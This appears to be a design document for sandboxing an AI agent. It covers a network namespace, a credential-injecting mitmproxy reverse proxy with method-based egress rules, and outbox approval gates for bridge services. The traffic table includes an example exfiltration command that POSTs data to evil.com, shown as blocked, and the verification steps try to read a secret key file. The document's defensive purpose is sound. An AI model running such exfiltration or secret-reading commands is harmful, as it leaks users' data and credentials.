title: Security - Secrets Isolation tags: [security, secrets, networking, proxy, namespace, egress] library: cowboy

Security - Secrets Isolation

Privilege separation for agent secrets and egress control via network namespace isolation, a credential-injecting reverse proxy, and broker-owned outbox services with approval gates.

All three layers are implemented in cowboy. Bridge service packages (discord-service, email-service) live in agent-pkgs and interact only through Redis streams -- they never touch secrets directly.

Related: [[Approvals]], [[Filters]]

Influenced by: OpenClaw security model -- independent security layers, prevention over detection, single-operator trust model.

Two-Library Split

LibraryContainsSecrets access
cowboyZellij WASM plugin (runtime), agent-bridge framework, agent-proxy (mitmproxy addon), NixOS modules (network.nix, secrets-proxy.nix, bridges.nix, sandbox.nix), home-manager configProxy holds secrets; bridge base class provides approval flow
agent-pkgsSwappable bridge services (discord-service, email-service) implementing OutboxService.send() + authenticate()Each service gets its own EnvironmentFile from agenix; secrets never cross into agent namespace

Problem

The agent user (UID ${cfg.uid}, default 1338) must not receive real API keys:

  1. The agent can execute arbitrary tools (bash, curl) that could exfiltrate secrets
  2. home-switch could create rogue services with full network access
  3. Outbox services running as the agent would let the agent control send policy
  4. Log redaction (compiled filters) is defense-in-depth, not a security boundary

Design

Three independent security layers:

LayerWhatControlsAgent can modify?
1. Network namespaceTopologyWhere traffic can goNo (system-level)
2. ProxyMethod + credential policyHow traffic is handledNo (broker-owned)
3. Outbox approvalSend policyWhether messages get deliveredNo (system services)

The broker (configurable, default dylan) owns all secrets and egress policy. The agent runs in a network namespace with no direct internet access. All traffic egresses through a veth pair to a mitmproxy-based reverse proxy on the host.

Host namespace (broker + all other users)
+-------------------------------------------------------------------+
| eth0 / wlan0 -- full internet                                     |
|                                                                   |
| ${cfg.name}-proxy (mitmproxy addon, on veth-host, runs as        |
|   broker)                                                     |
|   - mapped domains: inject auth headers, allow all methods        |
|   - allowlisted domains: allow POST (no injection)                |
|   - all other domains: GET only (browse, no exfil)                |
|   - audit log of all traffic to systemd journal                   |
|                                                                   |
| bridge services (broker, system-level,                        |
|   via ${cfg.name}-bridges.target)                                 |
|   ${cfg.name}-discord-{ping,ingest,outbox}                        |
|   ${cfg.name}-email-{ping,ingest,outbox}                          |
|   - approval policy is NixOS system config (agent can't modify)   |
|   - reads from Redis, decides send/hold per channel policy        |
|                                                                   |
| veth-host (10.200.0.1) -----+                                    |
+------------------------------+------------------------------------+
                               | veth pair
+------------------------------+------------------------------------+
| Agent namespace (${cfg.name}-ns)                                  |
|                              |                                    |
| veth-agent (10.200.0.2) ----+                                    |
|   default route via 10.200.0.1                                    |
| lo (127.0.0.1) -- Redis                                          |
|                                                                   |
| DNS: resolv.conf -> host resolver (via veth)                      |
|                                                                   |
| iptables -t nat OUTPUT                                            |
|   --dport 443 -j DNAT --to 10.200.0.1:${cfg.secretsProxy.port}   |
|                                                                   |
| user@${cfg.uid}.service: NetworkNamespacePath=/run/netns/...      |
|   (ALL agent user services inherit namespace -- home-switch safe) |
|                                                                   |
| cowboy runtime (zellij) -- dummy keys only                        |
| Redis (message bus) -- no secrets in streams                      |
+-------------------------------------------------------------------+

Traffic Flow

Agent doesProxy ruleResult
web_request("https://api.anthropic.com/...", POST)Mapped domainInject x-api-key, forward
web_request("https://api.openai.com/...", POST)Mapped domainInject Authorization: Bearer, forward
curl https://github.com/repo (GET)Not mapped + GETPassthrough, no injection
curl -X POST -d @data https://evil.comNot allowlisted + POSTBLOCKED (403)
gh pr creategithub.com allowlisted + POSTPassthrough
nix shell nixpkgs#fooUnix socketNix daemon (host namespace), not proxied
redis-cli on 127.0.0.1:6379LoopbackInside namespace, no proxy
reply(email, "message")Redis writeOutbox holds for approval
reply(discord, "message")Redis writeOutbox auto-sends
DNS lookupUDP via vethHost resolver, no proxy

Method-Based Exfiltration Prevention

HTTP method as the exfiltration gate (no content inspection):

  • GET to any domain: allowed. ~2KB URL query param limit makes bulk exfiltration impractical.
  • POST/PUT/PATCH to allowlisted domains only: allowed.
  • POST/PUT/PATCH to non-allowlisted: blocked (proxy returns 403).
services.agent.secretsProxy = {
  domainMappings = {
    "api.anthropic.com" = {
      secretPath = "/run/agenix/anthropic-key";
      headerName = "x-api-key";
    };
    "api.openai.com" = {
      secretPath = "/run/agenix/open-ai-key";
      headerName = "Authorization";
      headerTemplate = "Bearer {secret}";
    };
  };
  allowedPostDomains = [
    "github.com"
    "api.github.com"
    "*.githubusercontent.com"
  ];
};

All domains in domainMappings are implicitly POST-allowed. allowedPostDomains adds extra domains without credential injection.

Why Network Namespace (not iptables + BPF)

A network namespace is opt-out security -- the agent has no interface to the internet. The only path out is the veth pair. Even if iptables inside the namespace are flushed, traffic still routes through the veth to the host proxy. The agent never has a direct path to external hosts.

Foolproof Property

What breaksResultSecrets safe?Data safe?
iptables DNAT inside namespace flushedTraffic NATs through host -- dummy keys fail authYesYes (no POST path)
Proxy is downConnection to 10.200.0.1 refusedYesYes
Agent sends crafted HTTPPOST to non-allowlisted blocked regardless of contentYesYes
Namespace accidentally deletedAgent has no network at allYesYes
Agent creates rogue service via home-switchService inherits namespace (user@${cfg.uid} namespaced)YesYes
Agent modifies outbox approval settingsCan't -- bridge services are system-level NixOS configYesYes
Agent writes directly to outbox Redis streamOutbox service still applies approval policyYesYes

Separation of Concerns

Agent owns:                 broker owns:
  message content             send policy (auto/approval)
  channel selection           credential injection
  writing to Redis            reading from Redis + sending
  tool invocations            method restrictions (GET/POST)
  home-switch (own config)    system services (bridges target)

Components (Implemented)

1. Network Namespace (nix/agents/network.nix)

Boot-time oneshot. Active when cfg.enable && proxyCfg.enable.

  • ${cfg.name}-netns service: creates namespace, veth pair, DNAT rule, DNS resolv.conf
  • user@${toString cfg.uid} dropin: NetworkNamespacePath, requires + after the netns service
  • networking.nat.internalInterfaces = [ "veth-host" ]
  • Firewall opens DNS (53/udp, 53/tcp) and proxy port on veth-host

The namespace persists across agent restarts.

2. Reverse Proxy (nix/agents/secrets-proxy.nix + pkgs/agent-proxy/)

mitmproxy addon (agent_proxy/addon.py). The AgentProxy class:

  • Loads Nix-generated JSON config from AGENT_PROXY_CONFIG
  • Reads secrets from files at startup into memory
  • request() hook: blocks non-allowlisted POST/PUT/PATCH (403), injects headers for mapped domains
  • response() hook: audit logging to journal
  • Domain matching supports wildcards (*.githubusercontent.com)

NixOS module (secrets-proxy.nix) provides:

  • ${cfg.name}-bridges.target: groups proxy + all bridge services
  • ${cfg.name}-proxy service: runs as brokerUser, partOf the bridges target
  • ExecStartPre: generates mitmproxy CA on first run
  • StateDirectory = "${cfg.name}-proxy" for CA cert/key
  • Hardened: NoNewPrivileges, ProtectSystem = "strict", ProtectHome = true

Proxy config JSON (generated from Nix options):

{
  "routes": {
    "api.anthropic.com": {
      "inject_header": "x-api-key",
      "secret_file": "/run/agenix/anthropic-key",
      "template": "{secret}"
    }
  },
  "allowed_post_domains": [
    "api.anthropic.com",
    "github.com",
    "api.github.com"
  ]
}

3. CA Certificate

Generated by mitmproxy's ExecStartPre on first run:

  • Stored in /var/lib/${cfg.name}-proxy/ (owned by brokerUser)
  • Agent's SSL_CERT_FILE points to combined bundle (system CAs + proxy CA)
  • mitmproxy generates leaf certs on-the-fly per SNI hostname

Only the agent namespace trusts this CA.

4. Bridge Services (nix/agents/bridges.nix)

Declarative bridge abstraction. Each bridge declaration generates:

  • pubsub source registration (stream, outbox, approval config)
  • 3 systemd services: ${cfg.name}-${bridge}-{ping,ingest,outbox}

Convention: bridge packages (from agent-pkgs) expose ${bridge}-ping, ${bridge}-ingest, ${bridge}-outbox entry points.

services.agent.bridges.<name> = {
  pkg = pkgs.<name>-service;              # from agent-pkgs
  env = "/run/agenix/<name>-env";         # agenix-managed secrets
  approval.required = false;               # per-bridge policy
  approval.notify = "discord";
  approval.timeout = 3600;
  user = cfg.secretsProxy.brokerUser;     # default
};

All bridge services:

  • after + requires the proxy service
  • partOf the bridges target
  • Receive REDIS_URL=redis://10.200.0.2:6379 (agent namespace Redis via veth)
  • Receive their EnvironmentFile from agenix

5. Outbox Approval (pkgs/agent-bridge/agent_bridge/base.py)

OutboxService base class handles the full approval lifecycle. See [[Approvals]] for the protocol.

6. Sandbox (nix/agents/sandbox.nix)

Bubblewrap-based tool isolation (orthogonal to network namespace). Three levels:

  • none: direct execution with timeout
  • standard: pid/uts/ipc isolation, ro nix-store/etc, rw home
  • strict: unshare-all, capability drop, seccomp filter

Generates ${cfg.name}-tool-${name} wrappers.

Concrete Bridge Configs

# nix/agents/project/discord.nix
services.agent.bridges.discord = {
  pkg = pkgs.discord-service;     # from agent-pkgs
  env = "/run/agenix/discord-env";
  user = proxyCfg.brokerUser;
  # approval.required defaults to false (conversational)
};

# nix/agents/project/email.nix
services.agent.bridges.email = {
  pkg = pkgs.email-service;       # from agent-pkgs
  env = "/run/agenix/email-env";
  user = proxyCfg.brokerUser;
  restartSec = 5;
  approval = {
    required = true;              # hold for manual review
    notify = "discord";
    timeout = 3600;
  };
};

File Map

FileLibraryRole
nix/agents/network.nixcowboyNamespace + veth + user@${cfg.uid} binding
nix/agents/secrets-proxy.nixcowboyProxy service + module options + bridges target
nix/agents/bridges.nixcowboyDeclarative bridge abstraction
nix/agents/sandbox.nixcowboyBubblewrap tool isolation
nix/agents/pubsub.nixcowboySource/approval options, Redis backend, sources.json
pkgs/agent-proxy/agent_proxy/addon.pycowboymitmproxy addon: injection + method gating
pkgs/agent-bridge/agent_bridge/base.pycowboyOutboxService ABC: read/approve/send loop
pkgs/agent-bridge/agent_bridge/types.pycowboyOutboxMessage, SendResult dataclasses
pkgs/agent-bridge/agent_bridge/redis_utils.pycowboymk_redis(), load_config()
nix/agents/project/discord.nixdeploymentDiscord bridge config (uses agent-pkgs)
nix/agents/project/email.nixdeploymentEmail bridge config (uses agent-pkgs)

Security Properties

  1. Agent never sees real API keys -- dummy values only, proxy injects on the wire
  2. Network topology is the boundary -- no internet interface, cannot be flushed
  3. All HTTPS passes through proxy -- API calls get credentials, browsing passes through
  4. Method-based egress control -- POST only to allowlisted domains, GET anywhere
  5. Outbox approval gates -- broker-owned policy, per-bridge (auto-send vs hold)
  6. Home-switch contained -- user@${cfg.uid} is namespaced, all services inherit
  7. Three independent layers -- namespace, proxy, outbox; each fails independently
  8. Agent controls what, broker controls whether
  9. Fail-closed -- proxy down = no HTTPS, namespace gone = no network
  10. Compiled filters remain inner boundary -- namespace is the outer one

Verification

ip netns list                                                    # ${cfg.name}-ns
sudo ip netns exec ${cfg.name}-ns curl https://github.com        # GET passthrough
sudo ip netns exec ${cfg.name}-ns \
  curl -X POST https://httpbin.org/post                          # BLOCKED (403)
journalctl -u ${cfg.name}-proxy                                  # audit trail
systemctl list-dependencies ${cfg.name}-bridges.target           # all services
sudo -u ${cfg.user} cat /run/agenix/anthropic-key                # permission denied
systemctl show "user@${cfg.uid}.service" | grep NetworkNamespace # bound